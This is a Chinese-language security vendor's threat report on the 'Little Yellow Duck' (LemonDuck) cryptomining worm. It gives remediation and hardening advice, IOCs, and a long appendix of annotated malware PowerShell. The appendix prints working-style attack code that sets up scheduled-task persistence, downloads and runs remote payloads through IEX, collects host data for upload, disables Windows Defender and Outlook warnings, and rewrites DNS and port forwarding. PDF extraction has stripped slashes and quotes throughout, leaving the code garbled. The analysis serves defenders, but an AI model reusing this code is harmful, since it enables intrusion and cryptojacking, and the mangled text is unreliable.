“小黄鸭”:一个持续活跃的商业APT组织正浮出水面.pdf
摘要 “ 小黄鸭” 一个持续活跃的商业 APT 组织 正浮出水面 2020-07-05 摘要 摘要 近期, 天际友盟 监测到多起 通过 钓鱼邮件、漏洞利用 来 传播,进行加密数字货 币挖掘的蠕虫攻击活动。经 双子座实验室 研究分析 , 将这一系列攻击活动定义为商 业 APT 行为, 并 将 这一系列活动背后的 组织命名为 “ 小黄鸭 ” 。 与以往大部分 APT 攻击活动目的为窃取敏感资料、破坏关键设施等不同, “ 小黄鸭 ” 攻击似乎仅以经济利益为目的,通过控制计算机、侵占计算资源 于加 密数字货币的挖掘。 该攻击活动具有以下特征: 起源于针对 “ 驱动人生 ” 供应链的 APT 攻击; 持续时间长,从 2018 年 12 月份起持续至今; 影响范围广泛,波及全球,已有数百万设备被感染; 传播途径多样,通过漏洞利用、 Outlook 邮件、移动存储设备进行传播; 利用新冠疫情对邮件攻击模块做针对性升级,以提高感染效率; 频繁利用开源项目及新披露漏洞的 POC 来增强蠕虫感染能力; 多样性,迭代 /升级的频率远超以往发现的同类型威胁攻击。 “ 小黄鸭 ” 最初由针对 “ 驱动人生 ” 发起的 供应链 攻击演变而来,但研究后发 现,攻击者可能只是希望利用 “ 驱动人生 ” 作为跳板,使蠕虫尽可能广泛地传播。 攻击者疑似为具有一定专业能力的境外组织,发起或参与过大规模网络攻击相关活 动(如构建僵尸网络等)。至今 “ 小黄鸭 ” 已发展成面向全球 , 主要针对运行 摘要 Windows 系统的终端设备的 , 有组织、有计划的 , 以挖矿为目的高级长期威胁 组 织 。 当前在国内仍发现大量个人 PC 及多家知名企业被感染的情况 , 其感染目标已 不限于 Windows 主机,还有一部分运行嵌入式 Windows 7 系统的 IoT 设备同样 受到波及, 包括 智能电视,智能扫描仪,工业 AGV 等,并在近期新增了针对 Linux 设备的攻击模块。受到感染的机器中绝大部分来自于政府与企业。值得注意 的是 “ 小黄鸭 ” 发动的 攻击中会上传十分详尽的系统环境信息,这 可能 为其筛选 “ 特定目标 ” 进行下一步定向攻击而做好了准备 , 也 意味着 “ 驱动人生 ” 遭受定向 攻击同类事件或将重演 我们 通过对相关情报的关联分析后发现 , 国内外多家安全厂商所述的 “ 永恒之 蓝 ” 下 载 器 , 蓝 茶 , MTLminer , “ 驱动 ” 件 挖 矿 , Beapy , LemonDuck,柠檬鸭 等 相关攻击活动,均为 “ 小黄鸭 ” 所为。 目录 目录 简要分析 . 1 攻击起源 . 6 近期动态 . 7 溯源分析 . 10 ATTMicrosoft.Vi sualBasic.Interaction:GetObject(script:%tmp%wxJadS9Xyg.sct).Exec(0) $Schedule.connect($env:COMPUTERNAME); foreach ($Folder in Get-AllTaskSubFolders) if ($Tasks = $Folder.GetTasks(1) $Tasks | Foreach-Object if ($_.State -gt 1) New-Object -TypeName PSCustomObject -Property Name = $_.name 修复建议 18 State = switch ($_.State) 0 Unknown 1 Disabled 2 Queued 3 Ready 4 Running Default Unknown Path = $_.path - 查看是否具有明显随机的任务名,然后根据路径删除: schtasks /delete /tn PATH /F 如发现中招主机,应立即切断网络,关闭 445 端口服务,进行全面查杀 。 对 CVE-2017-8570, MS17-010, CVE-2020-0796 相关漏洞及时打补丁 。 - CVE-2017-8570 补丁信息参考: guidance/advisory/CVE-2017-8570; 修复建议 19 - MS17-010 补丁信息参考: - CVE-2020-0796 信息参考: 2020-0796 防范建议 20 防范建议 停止使用 Win7( 20201 月 14 日后微软已停止对其维护) ; 及时对内网主机打补丁; 加强系统安全性。身份验证和加密机制有助于防止对目标系统进行未经 授权的修改,使用高强度密码,并定期更新,不要使用弱口令; 多台设备不要使用相同密码,蠕虫会抓取本机密码,攻击局域网中的其 它机器; 关闭主机不必要的端口(如 445, 65529 等),并使用严格的权限控 制; 部署其他安全机制,例如行为监视,以检测并防止异常例程或未授权程 序或脚本的运行。企业内 IDS/IPS 防护设备根据后续列出的 yara 检测 规则进行更新; 禁用 PowerShell,因为普通用户和非技术用户都不需要 ; 使用管理员权限打开 Powershell,输入以下命令,然后回车 Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root 阻止从 Office 文档中嵌入或链接的 COM 对象,请执行以下步骤: 防范建议 21 reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftOfficeCommonCOM CompatibilityF20DA720-C02F-11CE-927B-0800095AE340 /v Compatibility Flags /t REG_DWORD /d 0 x400 reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftOfficeCommonCOM CompatibilityF20DA720-C02F-11CE-927B-0800095AE340 /v ActivationFilterOverride /t REG_DWORD /d 0 x1 reg add HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftOfficeCommon COM CompatibilityF20DA720-C02F-11CE-927B-0800095AE340 /v Compatibility Flags /t REG_DWORD /d 0 x400 reg add HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftOfficeCommon COM CompatibilityF20DA720-C02F-11CE-927B-0800095AE340 /v ActivationFilterOverride /t REG_DWORD /d 0 x1 禁用 SMB 的压缩功能: Set-ItemProperty -Path HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters DisableCompression -Type DWORD -Value 1 -Force IOCs 22 IOCs 以下是有关该活动的相关 IOCs: C$c=$d.count;if($c -gt 173)$b=$d173.$c;$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=convert:FromBase64String( 2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7 K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C 0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=);$p.Exponent=0 x01,0 x00,0 x 01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.ve rifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),convert:FromBase64String(- join(char$d0.171)Iex(- joinchar$b)$url=+U1+U2;a($url+/a.jsp+$v+?+($env:COM PUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random)-join*) # 判断当前是否是超级管理员权限 $sa=(Security.Principal.WindowsPrincipalSecurity.Principal.WindowsIdentity:Ge tCurrent().IsInRole(Security.Principal.WindowsBuiltInRole Administrator) # DGA 函数 (其实是纯随机字串函数 ) 附录 35 function getRan()return -join(char(48.57+65.90+97.122)|Get-Random -Count (6+(Get-Random)%6) $us=(,) $stsrv = New-Object -ComObject Schedule.Service $stsrv.Connect() # 查看是否已经存在名为 blackball 的定时任务 try $doit=$stsrv.GetFolder().GetTask(blackball) catch if(-not $doit) if($sa) schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball else schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr blackball foreach($u in $us) # 获取域名下标 $i = array:IndexOf($us,$u) # 根据除 3 余数,选择计划任务名 if($i%3 -eq 0)$tnf= if($i%3 -eq 1)$tnf=getRan if($i%3 -eq 2)if($sa)$tnf=MicroSoftWindows+(getRan)else$tnf=getRan 附录 36 $tn = getRan if($sa) # 每 60 分 执行命令 powershell PS_CMD /F 阻止系统确认消息 schtasks /create /ru system /sc MINUTE /mo 60 /tn $tnf$tn /F /tr powershell -w hidden -c PS_CMD else schtasks /create /sc MINUTE /mo 60 /tn $tnf$tn /F /tr powershell -w hidden -c PS_CMD start-sleep 1 # 获取指定位置的定时任务 $folder=$stsrv.GetFolder($tnf) # 获取非隐藏任务以外的所有任务 $taskitem=$folder.GetTasks(1) foreach($task in $taskitem) foreach ($action in $task.Definition.Actions) try # 若参数中存在 PS_CMD if($action.Arguments.Contains(PS_CMD) # 替换为攻击指令 $folder.RegisterTask($task.Name, $task.Xml.replace(PS_CMD,$tmps.replace(U1,$u.substring(0,5).replace(U2,$u. substring(5), 4, $null, $null, 0, $null)|out-null 附录 37 catch schtasks /run /tn $tnf$tn start-sleep 5 # 删除老版本任务 schtasks /delete /tn Rtsa2 /F schtasks /delete /tn Rtsa1 /F schtasks /delete /tn Rtsa /F 功能跟上版本的样本相比( MD5: 51f6eba99e2b33e5458d78e41a130fe2)去除 Host 文件写入 。 最终写入计划 任务的攻击指令 如下 : 附录 38 通过 RSA 校验后请求并执行远程脚本 a.jsp。 在之前的活动中,计划任务命名 Rtsa, Rtsa1, Rtsa2(与之前不同的是 bluetea, blackball 均不具有实际命令执行,只是起到 Flag 的作用,避免重复写 入计划任务) 。 3) 蠕虫及挖矿 1) a.jsp 文件名 a.jsp 链接 MD5 1540b9fe58b8279bd256aaad9d879fbe 主要 功能 加载蠕虫模块、 挖矿 a.jsp 的操作复杂很多,主要是加载执行 if.bin 蠕虫模块 , 根据系统环境选择 执 行 m6.bin/m6g.bin 挖矿程序,后者可利用显卡加速,并下载显卡挖矿需要的 DLL 文件 。最会还会 关闭 Outlook 安全告警,加载执 行 if_mail.bin。 代码: 附录 39 # 判断当前运行环境 64 位 /32 位 if(IntPtr:Size -eq 8)$is64=$true $ifbin=if.bin $ifmd5=45ef8d4faac68bd425bfdfe064602377 if($is64) $mbin=m6.bin $mmd5=5b2849ff2e8c335dcc60fd2155b2d4d3 $mgbin=m6g.bin $mgmd5=23d59ed726e13edabcb751da7a5ce310 # md5 生成函数 function gmd5($d) Security.Cryptography.MD5:Create()puteHash($d)|foreach$l+=$_.ToString (x2) return $l # 本地 PayloadsMD5 $lifmd5,$lmmd5,$lmgmd5=, try $lifmd5=gmd5 (IO.File:ReadAllBytes($env:tmp$ifbin) catch try 附录 40 $lmmd5=gmd5 (IO.File:ReadAllBytes($env:tmp$mbin) catch $down_url = # 获取 mail.jsp 定义的 $url=+t.zer+ $core_url = $url.split(/)0.2-join/ # 管理员权限判定 $permit = (Security.Principal.WindowsPrincipalSecurity.Principal.WindowsIdentity:GetCur rent().IsInRole(Security.Principal.WindowsBuiltInRole Administrator) # 系统信息获取 $comp_name = $env:COMPUTERNAME $guid = (get-wmiobject Win32_ComputerSystemProduct).UUID $mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where $_.ipenabled -EQ $true).Macaddress | select-object -first 1 $osb = (Get-WmiObject -class Win32_OperatingSystem) # 系统版本 $os = $osb.Caption.replace(Microsoft Windows ,)+_+$osb.Version $user = $env:USERNAME # 域信息获取 $domain = (Get-WmiObject win32_computersystem).Domain # 开机时间 附录 41 $uptime = timespan:FromMilliseconds(environment:TickCount)|foreach$_.totalseconds # 显卡信息获取 $card = (Get-WmiObject Win32_VideoController).name # 获取内存信息 gwmi Win32_PhysicalMemory | %$msum = 0 $msum += $_.Capacity ; $mem=$msum/1Gb # 获取满足条件的存储盘信息 try $drive = (system.IO.DriveInfo:GetDrives() | where $_.IsReady -and ($_.AvailableFreeSpace -gt 1024) -and ($_.DriveType -eq Removable) -or ($_.DriveType -eq Network) -and ($_.DriveFormat -eq NTFS) -or ($_.DriveFormat -eq FAT32) | foreach($_.Name)0+_+($_.DriveType.tostring()0)-join| catch $timestamp = (Get-Date -UFormat %s).Substring(0,9) # Xmrig 矿工信息 try Reflection.Assembly:LoadWithPartialName(System.Web.Extensions) $obj = (New-Object Web.Script.Serialization.JavaScriptSerializer).DeserializeObject(new-object net.webclient).downloadstring(127.0.0.1:43669/1/summary) 附录 42 $mv=$obj.version $mip=$obj.connection.ip $mhr=$obj.hashrate.total-join(,) catch # 关闭 windows Defender 的实时检测 try Set-MpPreference -DisableRealtimeMonitoring $true Add-MpPreference -ExclusionPath c: Add-MpPreference -ExclusionProcess c:windowssystem32WindowsPowerShellv1.0powershell.exe catch if($card -match GTX|NVIDIA|GEFORCE)$isn=1 if($card -match Radeon|AMD)$isa=1 $params=($comp_name,$guid,$mac)-join$ifmd5=+$md+;$ifp=$env:tmp+$fn+;$down_url=+$down_ url+;function gmd5($con)System.Security.Cryptography.MD5:Create()puteHash($con)|f oreach$s+=$_.ToString(x2);return $sif(test-path $ifp)$con_=System.IO.File:ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_- eq$ifmd5)$noup=1if(!$noup)$con=(New-Object Net.WebClient).downloaddata($down_url+/+$fn+?+$params+);$t=gmd5 $con;if($t- eq$ifmd5)System.IO.File:WriteAllBytes($ifp,$con)else$noup=1if($noup)$con =$con_;$ifmd5=$md5_ # 与上个版本之前的区别在于 生成 fnam.exe.ori 文件 拷贝为 $fnam.bin.exe 并在 CMD 后台执行,之前是 start-process # 反射式加载运行下载的文件 function gpa($fnam) for($i=0;$i -lt $con.count-1;$i+=1)if($con$i -eq 0 x0a)break;iex(- joinchar$con0.$i);$bin=(New-Object IO.BinaryReader(New-Object System.IOpression.GzipStream (New-Object System.IO.MemoryStream(,$con($i+1).($con.count), (IOpressionpressionMode:Decompress).ReadBytes(10000000);$bin_ =$bin.Clone();$mep=$env:tmp+$fnam.exe.ori+;System.IO.File:WriteAllBy 附录 44 tes($mep,$bin_+(1.127)|Get-Random -Count 100);test1 -PEBytes $bin+ # # 创建名为 GlobaleLocalIf 的锁 ,如果有不再创建 # New-Object Threading.Mutex($true,GlobaleLocalIf,ref$localIf); # catch function gcode($fl) try$local+$fl+=$flase;New-Object Threading.Mutex($true,GlobaleLocal+$fl+,ref$local+$fl+)catch $code1=gcode If IEx $code1 # 如果是新创建的 GlobaleLocalIf 则运行 # $ifp=$env:tmp+if.bin; # $down_url=; # function gmd5($con) # System.Security.Cryptography.MD5:Create()puteHash($con)|foreach 附录 45 # $s+=$_.ToString(X2) # ; # return $s # # # 是否存在 if.bin,存在则读取,并进行 MD5 校验 # if(test-path $ifp) # $con_=System.IO.File:ReadAllBytes($ifp); # $md5_=gmd5 $con_; # if($md5_-eq$ifmd5) # $noup=1 # # # # 若没有通过 MD5,或文件不存在则下载 # if(!$noup) # # # $con=(New-Object Net.WebClient).downloaddata($down_url+/if.bin?); # $t=gmd5 $con; # if($t-eq$ifmd5) # System.IO.File:WriteAllBytes($ifp,$con) # else$noup=1 # # if($noup) # $con=$con_; 附录 46 # $ifmd5=$md5_ # # # 这里有个小细节,若机器上没有 if.bin 且下载的 if.bin 没有通过 MD5 校验的则不会 执行其包含的命令 # IEX(-joinchar$con) if($localIf) stp (gcf $code1 $ifmd5 $ifbin)+IEX(-joinchar$con) # 用多函数拼接生成语句,逃避检测 # 针对 64 位系统 if($is64) # try # $localMn=$flase; # New-Object Threading.Mutex($true,GlobaleLocalMn,ref$localMn) # catch $code2=gcode Mn IEx $code2 if($localMn) # $ifmd5=5b2849ff2e8c335dcc60fd2155b2d4d3; # $ifp=$env:tmp+m6.bin; # $down_url=; # function gmd5($con) 附录 47 # System.Security.Cryptography.MD5:Create()puteHash($con)|foreach # $s+=$_.ToString(X2); # return $s # # if(test-path $ifp) # $con_=System.IO.File:ReadAllBytes($ifp); # $md5_=gmd5 $con_; # if($md5_-eq$ifmd5) # $noup=1 # # # if(!$noup) # # # $con=(New-Object Net.WebClient).downloaddata($down_url+/m6.bin?); # $t=gmd5 $con; # if($t-eq$ifmd5) # System.IO.File:WriteAllBytes($ifp,$con) # # else # $noup=1 # # 附录 48 # if($noup) # $con=$con_; # $ifmd5=$md5_ # # # 以下是 gpa 函数生成的代码 # for($i=0;$i -lt $con.count-1;$i+=1) # if($con$i -eq 0 x0a) # break # # # # 以 0 x0A 截断文件 ,执行前半部分,定义 test1 函数 # iex(-joinchar$con0.$i); # $bin=(New-Object IO.BinaryReader(New-Object System.IOpression.GzipStream (New-Object System.IO.MemoryStream(,$con($i+1).($con.count), (IOpressionpressionMode:Decompress).ReadBytes(10000000); # $bin_=$bin.Clone(); # test1 -PEBytes $bin; # $mep=$env:tmp+m6.bin.exe; # # 在挖矿程序后追加随机字节,保存 # System.IO.File:WriteAllBytes($mep,$bin_+(1.127)|Get-Random -Count 附录 49 100); # # 运行上一步生成的程序 # start-process -FilePath $mep stp (gcf $code2 $mmd5 $mbin)+(gpa $mbin) if($isn -or $isa) -and $is64) $code3=gcode Mng # try # $localMng=$flase; # New-Object Threading.Mutex ($true,GlobaleLocalMng,ref$localMng) # catch IEx $code3 if($localMng) stp (gcf $code3 $mgmd5 $mgbin)+(gpa $mgbin) # 修改 DNS try (get-wmiobject -class win32_networkadapterconfiguration -filter ipenabled=true).SetDNSServerSearchOrder(8.8.8.8,9.9.9.9) catch 附录 50 # 携带信息: # 系统,系统位数,用户,域,磁盘,显卡,内存,管理员权限,本地蠕虫攻击 Payload,本地 xmrigPayload, xmrig 版本,矿池地址,算力,开机时间,上传时间 $params+= $raw_bytes = $res_bytes173.$res_bytes.count; $rsaParams = New-Object System.Security.Cryptography.RSAParameters 附录 51 # 公钥 2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7 K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C 0 M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10= $rsaParams.Modulus = 0 xda,0 x65,0 xa8,0 xd7,0 xbb,0 x97,0 xbc,0 x6d,0 x41,0 x5e,0 x99,0 x9d,0 x82,0 xff,0 x2f,0 xff, 0 x73,0 x53,0 x9a,0 x73,0 x6e,0 x6c,0 x7b,0 x55,0 xeb,0 x67,0 xd6,0 xae,0 x4e,0 x23,0 x3c,0 x5 2,0 x3d,0 xc0,0 xcd,0 xcd,0 x37,0 x6b,0 xf3,0 x4f,0 x3b,0 x62,0 x70,0 x86,0 x07,0 x96,0 x6e,0 x ca,0 xde,0 xbd,0 xa6,0 x4f,0 xf6,0 x11,0 xd1,0 x60,0 xdc,0 x88,0 xbf,0 x35,0 xf2,0 x92,0 xee,0 x 6c,0 xb8,0 x2e,0 x9b,0 x7d,0 x2b,0 xd1,0 x19,0 x30,0 x73,0 xc6,0 x52,0 x01,0 xcd,0 xe7,0 xc7, 0 x34,0 x78,0 x8a,0 xa7,0 x9f,0 xe2,0 x12,0 xcd,0 x79,0 x40,0 xa7,0 x91,0 x6a,0 xae,0 x95,0 x8 e,0 x42,0 xd0,0 xcf,0 x39,0 x6e,0 x30,0 xcb,0 x0a,0 x98,0 xdb,0 x97,0 x3f,0 xf6,0 x2e,0 x95,0 x 10,0 x72,0 xfd,0 x63,0 xd5,0 xf7,0 x88,0 x63,0 xa4,0 x7b,0 xae,0 x97,0 xea,0 x38,0 xb7,0 x47,0 x6b,0 x5d $rsaParams.Exponent = 0 x01,0 x00,0 x01 $rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider; $rsa.ImportParameters($rsaParams) $base64 = -join(char$sign_bytes) $byteArray = convert:FromBase64String($base64) $sha1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider if($rsa.verifyData($raw_bytes,$sha1,$byteArray) 附录 52 IEX (-joinchar$raw_bytes) catch SIEX $core_url/report.jsp # flag 文件 (0kb) $ff=$env:tmp+GkPiGedjuq8f91j.txt # ff 是否存在 if(!(Test-Path $ff) # 打开防护墙设置 DNS 端口转发 cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 cmd.exe /c netsh.exe firewall add portopening tcp 65533 DNSd netsh.exe interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53 # 禁止 445, 135 的访问 netsh advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block netsh advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block new-item $ff -type file 附录 53 # 英伟达显卡且 64 位系统,会下载显卡加速挖矿插件 try if($isn -and $is64) $nd=nvd.zip $ndg=$env:tmpnvdg.dat if(!(test-path $ndg) -or (Get-Item $ndg).length -ne 18475008) (new-object Net.WebClient).DownloadFile($down_url+/$nd,$env:tmp$nd) (New-Object -ComObject Shell.Application).NameSpace($env:tmp).CopyHere($env:tmp$nd*,16) Remove-Item $env:tmp$nd catch # 关闭 Outlook 的安全告警 # 当程序尝试访问您的 Outlook 客户端以代表您发送电子邮件,并且检测到您的防病毒 软件处于非活动状态或过期时,将显示此警告消息。 $hks=HKEY_LOCAL_MACHINESOFTWARE $mso=MicrosoftOffice $wnd=Wow6432Node 附录 54 $crm=ClickToRunREGISTRYMACHINESoftware $paths=($hks$mso,$hks$wnd$mso,$hks$mso$crm$mso,$hks$mso